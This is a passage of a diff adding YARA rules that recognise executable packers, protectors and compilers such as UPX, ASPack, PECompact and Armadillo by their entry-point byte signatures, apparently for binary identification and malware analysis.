+		$0 = {55 8B EC 83 C4 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 20}
+		$1 = {55 8B EC 83 C4 B4 B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 40}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _PGMPAK_014_
+{
+	meta:
+		description = "PGMPAK 0.14"
+	strings:
+		$0 = {1E 17 50 B4 30 CD 21 3C 02 73 04 B4 4C CD 21 FC BE 9A 03 BF 00 09 E8 1F FF E8 1C FF BB 3F 00 00 FF 00 8A C3 8B F3 8B B0 00 0A 8A 8F C0 09 BF 01 00 D3 E7 74 06 BD 00 07 E8 B8 FF 04 02 8B F3 8B B0 40 09 8A 8F 00 09 80 F9 09 73 08 BD 00 01 E8}
+	condition:
+		$0 at entrypoint
+}
+rule _aPack_058_COM_
+{
+	meta:
+		description = "aPack 0.58 [COM]"
+	strings:
+		$0 = {8C C8 05 00 00 8E C0 59 8E D0 51 BE 8E 01 BF 00 01 50 57 FC B6 01 BD 6F 01 FF D5 73 4C FF D5 73 18 FF D5 73 2A BB 86 01 33 C9 FF D3 FF D3 FF D3 FF D3 8B D9 43 B1 01 EB 26 E8 3E 00 49 49 AC 8A E1 93 E8 35 00 83 FB 40 73 15 83 C1 04 EB 10 AC}
+	condition:
+		$0 at entrypoint
+}
+rule _PECompact_v20_beta__Jeremy_Collake_
+{
+	meta:
+		description = "PECompact v2.0 beta -> Jeremy Collake"
+	strings:
+		$0 = {B8 ?? ?? ?? 01 50 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 33 C0 89 08 50 45 43 6F 6D 70 61 63 74 32 00}
+	condition:
+		$0 at entrypoint
+}
+rule _PESpin_07__Cyberbob_h_
+{
+	meta:
+		description = "PESpin 0.7 -> Cyberbob (h)"
+	strings:
+		$0 = {EB 01 68 60 E8 00 00 00 00 8B 1C 24 83 C3 12 81 2B E8 B1 06 00 FE 4B FD 82 2C 24 83 D5 46 00 0B E4 74 9E 75 01 C7 81 73 04 D7 7A F7 2F 81 73 19 77 00 43 B7 F6 C3 6B B7 00 00 F9 FF E3 C9 C2 08 00 A3 68 72 01 FF 5D 33 C9 41 E2 17 EB 07 EA EB 01 EB EB 0D FF}
+	condition:
+		$0 at entrypoint
+}
+rule _kryptor_9_
+{
+	meta:
+		description = "kryptor 9"
+	strings:
+		$0 = {60 E8 ?? ?? ?? ?? 5E B9 ?? ?? ?? ?? 2B C0 02 04 0E D3 C0 49 79 F8 41 8D 7E 2C 33 46 ?? 66 B9}
+		$1 = {60 E8 ?? ?? ?? ?? 5E B9 ?? ?? ?? ?? 2B C0 02 04 0E D3 C0 49 79 F8 41 8D 7E 2C 33 46 ?? 66 B9}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Unknown_by_SMT_
+{
+	meta:
+		description = "Unknown by SMT"
+	strings:
+		$0 = {60 BE ?? ?? ?? ?? 8D BE ?? ?? ?? ?? 83 ?? ?? 57 EB}
+		$1 = {60 BE ?? ?? ?? ?? 8D BE ?? ?? ?? ?? 83 ?? ?? 57 EB}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _UPX_020_COM_
+{
+	meta:
+		description = "UPX 0.20 [COM]"
+	strings:
+		$0 = {B9 00 00 BE 00 00 BF C0 FF BD FF FF FD F3 A4 FC F7 E1 93 87 F7 83 C6 31 57 57 E9 3C FE 55 50 58 21 03 01 02 87}
+	condition:
+		$0 at entrypoint
+}
+rule _FSG_v110_Eng__dulekxt__Borland_Cpp_1999_
+{
+	meta:
+		description = "FSG v1.10 (Eng) -> dulek/xt -> (Borland C++ 1999)"
+	strings:
+		$0 = {EB 02 CD 20 2B C8 68 80 ?? ?? 00 EB 02 1E BB 5E EB 02 CD 20 68 B1 2B 6E 37 40 5B 0F B6 C9}
+		$1 = {EB 02 CD 20 2B C8 68 80 ?? ?? 00 EB 02 1E BB 5E EB 02 CD 20 68 B1 2B 6E 37 40 5B 0F B6 C9}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _yodas_Protector_10_beta__Ashkbiz_Danehkar_
+{
+	meta:
+		description = "yoda's Protector 1.0 beta -> Ashkbiz Danehkar"
+	strings:
+		$0 = {55 8B EC 53 56 57 60 E8 00 00 00 00 5D 81 ED 4C 32 40 00 E8 03 00 00 00 EB 01 ?? B9 EA 47 40 00 81 E9 E9 32 40 00 8B D5 81 C2 E9 32 40 00 8D 3A 8B F7 33 C0 E8 04 00 00 00 90 EB 01 ?? E8 03 00}
+	condition:
+		$0 at entrypoint
+}
+rule _ShellModify_01__pll621_
+{
+	meta:
+		description = "ShellModify 0.1 -> pll621"
+	strings:
+		$0 = {55 8B EC 6A FF 68 98 66 41 00 68 3C 3D 41 00 64 A1 00 00 00 00}
+		$1 = {55 8B EC 6A FF 68 98 66 41 00 68 3C 3D 41 00 64 A1 00 00 00 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Ding_Boys_PElock_Phantasm_v08_
+{
+	meta:
+		description = "Ding Boy's PE-lock Phantasm v0.8"
+	strings:
+		$0 = {55 57 56 52 51 53 E8 00 00 00 00 5D 8B D5 81 ED 0D 39 40 00}
+		$1 = {55 57 56 52 51 53 E8 00 00 00 00 5D 8B D5 81 ED 0D 39 40 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Thinstall_Embedded_27172719__Jitit_
+{
+	meta:
+		description = "Thinstall Embedded 2.717-2.719 -> Jitit"
+	strings:
+		$0 = {9C 60 E8 00 00 00 00 58 BB ?? ?? ?? ?? 2B C3 50 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 C1 FE FF FF E9 97 FF FF FF CC CC 55 8B EC 83 C4 F4 FC 53 57 56 8B 75 08 8B 7D 0C C7 45 FC 08 00 00 00 33 DB BA 00 00 00 80 43 33 C0 E8 19 01 00 00 73 0E 8B 4D F8 E8 27 01 00 00 02 45 F7 AA EB E9 E8 04 01 00 00 0F 82 96 00 00 00 E8 F9 00 00 00 73 5B B9 04 00 00 00 E8 05 01 00 00 48 74 DE 0F 89 C6 00 00 00 E8 DF 00 00 00 73 1B 55 BD 00 01 00 00 E8 DF 00 00 00 88 07 47 4D 75 F5 E8 C7 00 00 00 72 E9 5D EB A2 B9 01 00 00 00 E8 D0 00 00 00 83 C0 07 89 45 F8 C6 45 F7 00 83 F8 08 74 89 E8 B1 00 00 00 88 45 F7 E9 7C FF FF FF B9 07 00 00 00 E8 AA 00 00 00 50 33 C9 B1 02 E8 A0 00 00 00 8B C8 41 41 58 0B C0 74 04 8B D8 EB 5E 83 F9 02 74 6A 41 E8 88 00 00 00 89 45 FC E9 48 FF FF FF E8 87 00 00 00 49 E2 09 8B C3 E8 7D 00 00 00 EB 3A 49 8B C1 55 8B 4D FC 8B E8 33 C0 D3 E5 E8 5D 00 00 00 0B C5 5D 8B D8 E8 5F 00 00 00 3D 00 00 01 00 73 14 3D FF 37 00 00 73 0E 3D 7F 02 00 00 73 08 83 F8 7F 77 04 41 41 41 41 56 8B F7 2B F0 F3 A4 5E E9 F0 FE FF FF 33 C0 EB 05 8B C7 2B 45 0C 5E 5F 5B C9 C2 08 00}
+		$1 = {9C 60 E8 00 00 00 00 58 BB ?? ?? ?? ?? 2B C3 50 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 C1 FE FF FF E9 97 FF FF FF CC CC 55 8B EC 83 C4 F4 FC 53 57 56 8B 75 08 8B 7D 0C C7 45 FC 08 00 00 00 33 DB BA 00 00 00 80 43 33 C0 E8 19 01 00 00 73 0E 8B 4D F8 E8 27 01 00 00 02 45 F7 AA EB E9 E8 04 01 00 00 0F 82 96 00 00 00 E8 F9 00 00 00 73 5B B9 04 00 00 00 E8 05 01 00 00 48 74 DE 0F 89 C6 00 00 00 E8 DF 00 00 00 73 1B 55 BD 00 01 00 00 E8 DF 00 00 00 88 07 47 4D 75 F5 E8 C7 00 00 00 72 E9 5D EB A2 B9 01 00 00 00 E8 D0 00 00 00 83 C0 07 89 45 F8 C6 45 F7 00 83 F8 08 74 89 E8 B1 00 00 00 88 45 F7 E9 7C FF FF FF B9 07 00 00 00 E8 AA 00 00 00 50 33 C9 B1 02 E8 A0 00 00 00 8B C8 41 41 58 0B C0 74 04 8B D8 EB 5E 83 F9 02 74 6A 41 E8 88 00 00 00 89 45 FC E9 48 FF FF FF E8 87 00 00 00 49 E2 09 8B C3 E8 7D 00 00 00 EB 3A 49 8B C1 55 8B 4D FC 8B E8 33 C0 D3 E5 E8 5D 00 00 00 0B C5 5D 8B D8 E8 5F 00 00 00 3D 00 00 01 00 73 14 3D FF 37 00 00 73 0E 3D 7F 02 00 00 73 08 83 F8 7F 77 04 41 41 41 41 56 8B F7 2B F0 F3 A4 5E E9 F0 FE FF FF 33 C0 EB 05 8B C7 2B 45 0C 5E 5F 5B C9 C2 08 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _ASPack_v1061b__Alexey_Solodovnikov_
+{
+	meta:
+		description = "ASPack v1.061b -> Alexey Solodovnikov"
+	strings:
+		$0 = {60 E8 ?? ?? ?? ?? 5D 81 ED EA A8 43 ?? B8 E4 A8 43 ?? 03 C5 2B 85 78 AD 43 ?? 89 85 84 AD 43 ?? 80 BD 6E AD 43}
+	condition:
+		$0 at entrypoint
+}
+rule _pscrambler_12__by_p0ke_
+{
+	meta:
+		description = "pscrambler 1.2 -> by p0ke"
+	strings:
+		$0 = {55 8B EC B9 04 00 00 00 6A 00 6A 00 49 75 F9 51 53 ?? ?? ?? ?? 10 E8 2D F3 FF FF 33 C0 55 68 E8 31 00 10 64 FF 30 64 89 20 8D 45 E0 E8 53 F5 FF FF 8B 45 E0 8D 55 E4 E8 30 F6 FF FF 8B 45 E4 8D 55 E8 E8 A9 F4 FF FF 8B 45 E8 8D 55 EC E8 EE F7 FF FF 8B 55 EC B8 C4 54 00 10 E8 D9 EC FF FF 83 3D C4 54 00 10 00 0F 84 05 01 00 00 80 3D A0 40 00 10 00 74 41 A1 C4 54 00 10 E8 D9 ED FF FF E8 48 E0 FF FF 8B D8 A1 C4 54 00 10 E8 C8 ED FF FF 50 B8 C4 54 00 10 E8 65 EF FF FF 8B D3 59 E8 69 E1 FF FF 8B C3 E8 12 FA FF FF 8B C3 E8 33 E0 FF FF E9 AD 00 00 00 B8 05 01 00 00 E8 0C E0 FF FF 8B D8 53 68 05 01 00 00 E8 57 F3 FF FF 8D 45 DC 8B D3 E8 39 ED FF FF 8B 55 DC B8 14 56 00 10 B9 00 32 00 10 E8 BB ED FF FF 8B 15 14 56 00 10 B8 C8 54 00 10 E8 53 E5 FF FF BA 01 00 00 00 B8 C8 54 00 10 E8 8C E8 FF FF E8 DF E0 FF FF 85 C0 75 52 6A 00 A1 C4 54 00 10 E8 3B ED FF FF 50 B8 C4 54 00 10 E8 D8 EE FF FF 8B D0 B8 C8 54 00 10 59 E8 3B E6 FF FF E8 76 E0 FF FF B8 C8 54 00 10 E8 4C E6 FF FF E8 67 E0 FF FF 6A 00 6A 00 6A 00 A1 14 56 00 10 E8 53 EE FF FF 50 6A 00 6A 00 E8 41 F3 FF FF 80 3D 9C 40 00 10 00 74 05 E8 EF FB FF FF 33 C0 5A 59 59 64 89 10 68 EF 31 00 10 8D 45 DC BA 05 00 00 00 E8 7D EB FF FF C3 E9 23 E9 FF FF EB EB 5B E8 63 EA FF FF 00 00 00 FF FF FF FF 08 00 00 00 74 65 6D 70 2E 65 78 65}
+		$1 = {55 8B EC B9 04 00 00 00 6A 00 6A 00 49 75 F9 51 53 ?? ?? ?? ?? 10 E8 2D F3 FF FF 33 C0 55 68 E8 31 00 10 64 FF 30 64 89 20 8D 45 E0 E8 53 F5 FF FF 8B 45 E0 8D 55 E4 E8 30 F6 FF FF 8B 45 E4 8D 55 E8 E8 A9 F4 FF FF 8B 45 E8 8D 55 EC E8 EE F7 FF FF 8B 55 EC B8 C4 54 00 10 E8 D9 EC FF FF 83 3D C4 54 00 10 00 0F 84 05 01 00 00 80 3D A0 40 00 10 00 74 41 A1 C4 54 00 10 E8 D9 ED FF FF E8 48 E0 FF FF 8B D8 A1 C4 54 00 10 E8 C8 ED FF FF 50 B8 C4 54 00 10 E8 65 EF FF FF 8B D3 59 E8 69 E1 FF FF 8B C3 E8 12 FA FF FF 8B C3 E8 33 E0 FF FF E9 AD 00 00 00 B8 05 01 00 00 E8 0C E0 FF FF 8B D8 53 68 05 01 00 00 E8 57 F3 FF FF 8D 45 DC 8B D3 E8 39 ED FF FF 8B 55 DC B8 14 56 00 10 B9 00 32 00 10 E8 BB ED FF FF 8B 15 14 56 00 10 B8 C8 54 00 10 E8 53 E5 FF FF BA 01 00 00 00 B8 C8 54 00 10 E8 8C E8 FF FF E8 DF E0 FF FF 85 C0 75 52 6A 00 A1 C4 54 00 10 E8 3B ED FF FF 50 B8 C4 54 00 10 E8 D8 EE FF FF 8B D0 B8 C8 54 00 10 59 E8 3B E6 FF FF E8 76 E0 FF FF B8 C8 54 00 10 E8 4C E6 FF FF E8 67 E0 FF FF 6A 00 6A 00 6A 00 A1 14 56 00 10 E8 53 EE FF FF 50 6A 00 6A 00 E8 41 F3 FF FF 80 3D 9C 40 00 10 00 74 05 E8 EF FB FF FF 33 C0 5A 59 59 64 89 10 68 EF 31 00 10 8D 45 DC BA 05 00 00 00 E8 7D EB FF FF C3 E9 23 E9 FF FF EB EB 5B E8 63 EA FF FF 00 00 00 FF FF FF FF 08 00 00 00 74 65 6D 70 2E 65 78 65}
+		$2 = {55 8B EC B9 04 00 00 00 6A 00 6A 00 49 75 F9 51 53 ?? ?? ?? ?? 10 E8 2D F3 FF FF 33 C0 55 68 E8 31 00 10 64 FF 30 64 89 20 8D 45 E0 E8 53 F5 FF FF 8B 45 E0 8D 55 E4 E8 30 F6 FF FF 8B 45 E4 8D 55 E8 E8 A9 F4 FF FF 8B 45 E8 8D 55 EC E8 EE F7 FF FF 8B 55 EC}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint
+}
+rule _PEncrypt_10__JunkCode_
+{
+	meta:
+		description = "PEncrypt 1.0 -> JunkCode"
+	strings:
+		$0 = {60 9C BE 00 10 40 00 8B FE B9 ?? ?? ?? ?? BB 78 56 34 12 AD 33 C3 AB E2 FA 9D 61 E9 ?? ?? ?? FF}
+		$1 = {60 9C BE 00 10 40 00 8B FE B9 ?? ?? ?? ?? BB 78 56 34 12 AD 33 C3 AB E2 FA 9D 61 E9 ?? ?? ?? FF}
+	condition:
+		$0 at entrypoint or $1
+}
+rule _Fish_Pe_Packer_V103V10X__hellfish__20090119_
+{
+	meta:
+		description = "Fish Pe Packer V1.03-V1.0X -> hellfish * 20090119"
+	strings:
+		$0 = {60 E8 21 00 00 00 EB 18 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 5E 56 8B 56 1C 89 F3}
+	condition:
+		$0 at entrypoint
+}
+rule _Creative_Audio_file_
+{
+	meta:
+		description = "Creative Audio file"
+	strings:
+		$0 = {43 72 65 61 74 69 76 65 20 56 6F 69 63 65 20 46 69 6C 65}
+	condition:
+		$0 at entrypoint
+}
+rule _Visual_Cpp_31_
+{
+	meta:
+		description = "Visual C++ 3.1"
+	strings:
+		$0 = {64 A1 00 00 00 00 55 8B EC 6A FF 68 00 00 40 00 68 00 00 40 00 50 64 89 25 00 00 00 00 83 EC 10 53 56 57 89 65 E8 FF 15 00 00 00 00 33 D2 8B C8 8A D4 81 E1 FF 00 00 00 C1 E8 10 89 15 00 00 40 00 89 0D 00 00 40 00 A3 00 00 40 00 C1 E1 08 03}
+	condition:
+		$0 at entrypoint
+}
+rule _eXPressorProtection_V150X__CGSoftLabs_
+{
+	meta:
+		description = "eXPressor.Protection V1.5.0.X -> CGSoftLabs"
+	strings:
+		$0 = {EB 01 68 EB 01 ?? ?? ?? ?? 83 EC 0C 53 56 57 EB 01 ?? 83 3D ?? ?? ?? ?? 00 74 08 EB 01 E9 E9 56 01 00 00 EB 02 E8 E9 C7 05 ?? ?? ?? ?? 01 00 00 00 EB 01 C2 E8 E2 05 00 00 EB 02 DA 9F 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? B8 ?? ?? ?? ?? FF D0 59 59 EB 01 C8 EB 02 66 F0 68 ?? ?? ?? ?? E8 0E 05 00 00 59 EB 01 DD 83 65 F4 00 EB 07 8B 45 F4 40 89 45 F4 83 7D F4 61 73 1F EB 02 DA 1A 8B 45 F4 0F ?? ?? ?? ?? ?? ?? 33 45 F4 8B 4D F4 88 ?? ?? ?? ?? ?? EB 01 EB EB}
+	condition:
+		$0
+}
+rule _Private_exe_Protector_V230V23X__SetiSoft_Team____SignByfly_
+{
+	meta:
+		description = "Private exe Protector V2.30-V2.3X -> SetiSoft Team   * Sign.By.fly"
+	strings:
+		$0 = {00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E0 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E0 00 00 00 00 00 00 00 00 00 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _PluginToExe_v101__BoB__BobSoft_
+{
+	meta:
+		description = "PluginToExe v1.01 -> BoB / BobSoft"
+	strings:
+		$0 = {E8 00 00 00 00 29 C0 5D 81 ED C6 41 40 00 50 8F 85 71 40 40 00 50 FF 95 A5 41 40 00 89 85 6D 40 40 00 FF 95 A1 41 40 00 50 FF 95 B5 41 40 00 80 38 00 74 16 8A 08 80 F9 22 75 07 50 FF 95 B9 41 40 00 89 85 75 40 40 00 EB 6C 6A 01 8F 85 71 40 40 00 6A 58 6A}
+		$1 = {E8 00 00 00 00 29 C0 5D 81 ED C6 41 40 00 50 8F 85 71 40 40 00 50 FF 95 A5 41 40 00 89 85 6D 40 40 00 FF 95 A1 41 40 00 50 FF 95 B5 41 40 00 80 38 00 74 16 8A 08 80 F9 22 75 07 50 FF 95 B9 41 40 00 89 85 75 40 40 00 EB 6C 6A 01 8F 85 71 40 40 00 6A 58 6A 40 FF 95 A9 41 40 00 89 85 69 40 40 00 89 C7 68 00 08 00 00 6A 40 FF 95 A9 41 40 00 89 47 1C C7 07 58 00 00 00 C7 47 20 00 08 00 00 C7 47 18 01 00 00 00 C7 47 34 04 10 88 00 8D 8D B9 40 40 00 89 4F 0C 8D 8D DB 40 40 00 89 4F 30 FF B5 69 40 40 00 FF 95 95 41 40 00 FF 77 1C 8F 85 75 40 40 00 8B 9D 6D 40 40 00 60 6A 00 6A 01 53 81 C3 ?? ?? ?? 00 FF D3 61 6A 00 68 44 69 45 50 FF B5 75 40 40 00 6A 00 81 C3 ?? ?? 00 00 FF D3 83 C4 10 83 BD 71 40 40 00 00 74 10 FF 77 1C FF 95 AD 41 40 00 57 FF 95 AD 41 40 00 6A 00 FF 95 9D 41 40 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _RLPack_V121_LZMA_430__ap0x____20080504_
+{
+	meta:
+		description = "RLPack V1.21 (LZMA 4.30) -> ap0x   * 20080504"
+	strings:
+		$0 = {60 E8 00 00 00 00 8B 2C 24 83 C4 04 83 7C 24 28 01 75 0C 8B 44 24 24 89 85 E0 0C 00 00 EB 0C 8B 85 DC 0C 00 00 89 85 E0 0C 00 00 E8 87 01 00 00 8D B5 08 0D 00 00 8D 9D C6 04 00 00 33 FF 6A 40 68 00 10 00 00 68 00 20 0C 00 6A 00 FF 95 71 0C 00 00 89 85 D8 0C 00 00 E8 98 01 00 00 EB 20 60 8B 85 E0 0C 00 00 FF B5 D8 0C 00 00 FF 34 37 01 04 24 FF 74 37 04 01 04 24 FF D3 61 83 C7 08 83 3C 37 00 75 DA 83 BD EC 0C 00 00 00 74 0E 83 BD F0 0C 00 00 00 74 05 E8 31 02 00 00 8D 74 37 04 53 6A 40 68 00 10 00 00 68 ?? ?? ?? ?? 6A 00 FF 95 71 0C 00 00 89 85 04 0D 00 00 5B 60 FF B5 D8 0C 00 00 56 FF B5 04 0D 00 00 FF D3 61 8B B5 04 0D 00 00 8B C6 EB 01 40 80 38 01 75 FA 40 8B 38 03 BD E0 0C 00 00 83 C0 04 89 85 00 0D 00 00 EB 72 56 FF 95 69 0C 00 00 0B C0 75 05 E8 25 03 00 00 85 C0 0F 84 AC 00 00 00 89 85 FC 0C 00 00 8B C6 EB 2E 8B 85 00 0D 00 00 8B 00 50 FF B5 FC 0C 00 00 E8 6D 02 00 00 85 C0 0F 84 86 00 00 00 89 07 83 85 00 0D 00 00 04 83 C7 04 8B 85 00 0D 00 00 83 38 00 75 CD EB 01 46 80 3E 00 75 FA 46 83 C0 04 8B 38 03 BD E0 0C 00 00 83 C0 04 89 85 00 0D 00 00 80 3E 01 75 89 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF B5 04 0D 00 00 FF 95 75 0C 00 00 68 ?? ?? ?? ?? 6A 00 FF B5 04 0D 00 00 FF 95 75 0C 00 00 68 ?? ?? ?? ?? 6A 00 FF B5 D8 0C 00 00 FF 95 75 0C 00 00 E8 A0 00 00 00 E8 9B 01 00 00 61 E9 ?? ?? ?? ?? ?? 61 C3}
+	condition:
+		$0 at entrypoint
+}
+rule _Exe_Guarder_18__Exeiconcom_h_
+{
+	meta:
+		description = "Exe Guarder 1.8 -> Exeicon.com (h)"
+	strings:
+		$0 = {55 8B EC 83 C4 D0 53 56 57 8D 75 FC 8B 44 24 30 25 00 00 FF FF 81 38 4D 5A 90 00 74 07 2D 00 10 00 00 EB F1 89 45 FC E8 C8 FF FF FF 2D B2 04 00 00 89 45 F4 8B 06 8B 40 3C 03 06 8B 40 78 03 06 8B C8 8B 51 20 03 16 8B 59 24 03 1E 89 5D F0 8B 59 1C 03 1E 89}
+	condition:
+		$0 at entrypoint
+}
+rule _BeRoEXEPacker_v100_LZMA_
+{
+	meta:
+		description = "BeRoEXEPacker v1.00 (LZMA)"
+	strings:
+		$0 = {60 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? BE ?? ?? ?? ?? B9 04 00 00 00 8B F9 81 FE ?? ?? ?? ?? 7F 10 AC 47 04 18 2C 02 73 F0 29 3E 03 F1 03 F9 EB E8}
+		$1 = {60 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? BE ?? ?? ?? ?? B9 04 00 00 00 8B F9 81 FE ?? ?? ?? ?? 7F 10 AC 47 04 18 2C 02 73 F0 29 3E 03 F1 03 F9 EB E8}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _BopCrypt_v10_
+{
+	meta:
+		description = "BopCrypt v1.0"
+	strings:
+		$0 = {60 BD ?? ?? ?? ?? E8 ?? ?? 00 00}
+		$1 = {60 BD ?? ?? ?? ?? E8 ?? ?? 00 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Obsidium_1336__Obsidium_Software_
+{
+	meta:
+		description = "Obsidium 1.3.3.6 -> Obsidium Software"
+	strings:
+		$0 = {EB 04 ?? ?? ?? ?? E8 28 00 00 00 EB 01 ?? ?? ?? ?? ?? ?? ?? 8B 54 24 0C EB 01 ?? 83 82 B8 00 00 00 26 EB 04 ?? ?? ?? ?? 33 C0 EB 01 ?? C3 EB 03 ?? ?? ?? EB 04 ?? ?? ?? ?? 64 67 FF 36 00 00 EB 04 ?? ?? ?? ?? 64 67 89 26 00 00 EB 03 ?? ?? ?? EB 04}
+		$1 = {EB 04 ?? ?? ?? ?? E8 28 00 00 00 EB 01 ?? ?? ?? ?? ?? ?? ?? 8B 54 24 0C EB 01 ?? 83 82 B8 00 00 00 26 EB 04 ?? ?? ?? ?? 33 C0 EB 01 ?? C3 EB 03 ?? ?? ?? EB 04 ?? ?? ?? ?? 64 67 FF 36 00 00 EB 04 ?? ?? ?? ?? 64 67 89 26 00 00 EB 03 ?? ?? ?? EB 04 ?? ?? ?? ?? 50 EB 01 ?? 33 C0 EB 02 ?? ?? 8B 00 EB 04 ?? ?? ?? ?? C3 EB 04 ?? ?? ?? ?? E9 FA 00 00 00 EB 03 ?? ?? ?? E8 D5 FF FF FF EB 01 ?? EB 03 ?? ?? ?? 58 EB 02 ?? ?? EB 04 ?? ?? ?? ?? 64 67 8F 06 00 00 EB 04}
+	condition:
+		$0 at entrypoint or $1
+}
+rule _ASPack_1083_
+{
+	meta:
+		description = "ASPack 1.083"
+	strings:
+		$0 = {60 E8 00 00 00 00 5D 81 ED 0A 4A 44 00 BB 04 4A 44 00 03 DD 2B 9D B1 50 44 00 83 BD AC 50 44 00 00 89 9D BB 4E 44 00 0F 85 17 05 00 00 8D 85 D1 50 44 00 50 FF 95 94 51 44 00 89 85 CD 50 44 00 8B F8 8D 9D DE 50 44 00 53 50 FF 95 90 51 44 00}
+	condition:
+		$0 at entrypoint
+}
+rule _FSG_v100_Eng__dulekxt_
+{
+	meta:
+		description = "FSG v1.00 (Eng) -> dulek/xt"
+	strings:
+		$0 = {BB D0 01 40 00 BF 00 10 40 00 BE ?? ?? ?? 00 53 E8 0A 00 00 00 02 D2 75 05 8A 16 46 12 D2 C3 FC B2 80 A4 6A 02 5B FF 14 24 73 F7 33 C9 FF 14 24 73 18 33 C0 FF 14 24 73 21 B3 02 41 B0 10 FF 14 24 12 C0 73 F9 75 3F AA EB DC E8 43 00 00 00 2B CB 75 10 E8 38}
+		$1 = {BB D0 01 40 00 BF 00 10 40 00 BE ?? ?? ?? 00 53 E8 0A 00 00 00 02 D2 75 05 8A 16 46 12 D2 C3 B2 80 A4 6A 02 5B FF 14 24 73 F7 33 C9 FF 14 24 73 18 33 C0 FF 14 24 73 21 B3 02 41 B0 10 FF 14 24 12 C0 73 F9 75 3F AA EB DC E8 43 00 00 00 2B CB 75 10 E8 38 00 00 00 EB 28 AC D1 E8 74 41 13 C9 EB 1C 91 48 C1 E0 08 AC E8 22 00 00 00 3D 00 7D 00 00 73 0A 80 FC 05 73 06 83 F8 7F 77 02 41 41 95 8B C5 B3 01 56 8B F7 2B F0 F3 A4 5E EB 96 33 C9 41 FF 54 24 04 13 C9 FF 54 24 04 72 F4 C3 5F 5B 0F B7 3B 4F 74 08 4F 74 13 C1 E7 0C EB 07 8B 7B 02 57 83 C3 04 43 43 E9 52 FF FF FF 5F BB ?? ?? ?? 00 47 8B 37 AF 57 FF 13 95 33 C0 AE 75 FD FE 0F 74 EF FE 0F 75 06 47 FF 37 AF EB 09 FE 0F 0F 84 ?? ?? ?? FF 57 55 FF 53 04 09 06 AD 75 DB 8B EC C3 ?? ?? ?? 00 00 00 00 00 00 00 00 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _MEW_11_SE_11__Northfox_
+{
+	meta:
+		description = "MEW 11 SE 1.1 -> Northfox"
+	strings:
+		$0 = {E9 ?? ?? ?? ?? 0C ?? ?? ?? 00 00 00 00 00 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Borland_Delphi_Component_
+{
+	meta:
+		description = "Borland Delphi (Component)"
+	strings:
+		$0 = {C3 E9 ?? ?? ?? FF 8D 40}
+	condition:
+		$0 at entrypoint
+}
+rule _Armadillo_v1xx__v2xx__Silicon_Realms_Toolworks_
+{
+	meta:
+		description = "Armadillo v1.xx - v2.xx -> Silicon Realms Toolworks"
+	strings:
+		$0 = {55 8B EC 6A FF 68 50 8C 4C 00 68 D0 82 4A 00 64 A1}
+	condition:
+		$0 at entrypoint
+}
+rule _PE_Intro_v10__Predator_NLS_
+{
+	meta:
+		description = "PE Intro v1.0 -> Predator NLS"
+	strings:
+		$0 = {8B 04 24 9C 60 E8 00 00 00 00 5D 81 ED 0A 45 40 00 80 BD 67 44 40 00 00 0F 85 48}
+	condition:
+		$0 at entrypoint
+}
+rule _ASPack_v10801_
+{
+	meta:
+		description = "ASPack v1.08.01"
+	strings:
+		$0 = {60 EB 0A 5D EB 02 FF 25 45 FF E5 E8 E9 E8 F1 FF FF FF E9 81 ED 23 6A 44 00 BB 10 ?? 44 00 03 DD 2B 9D 72}
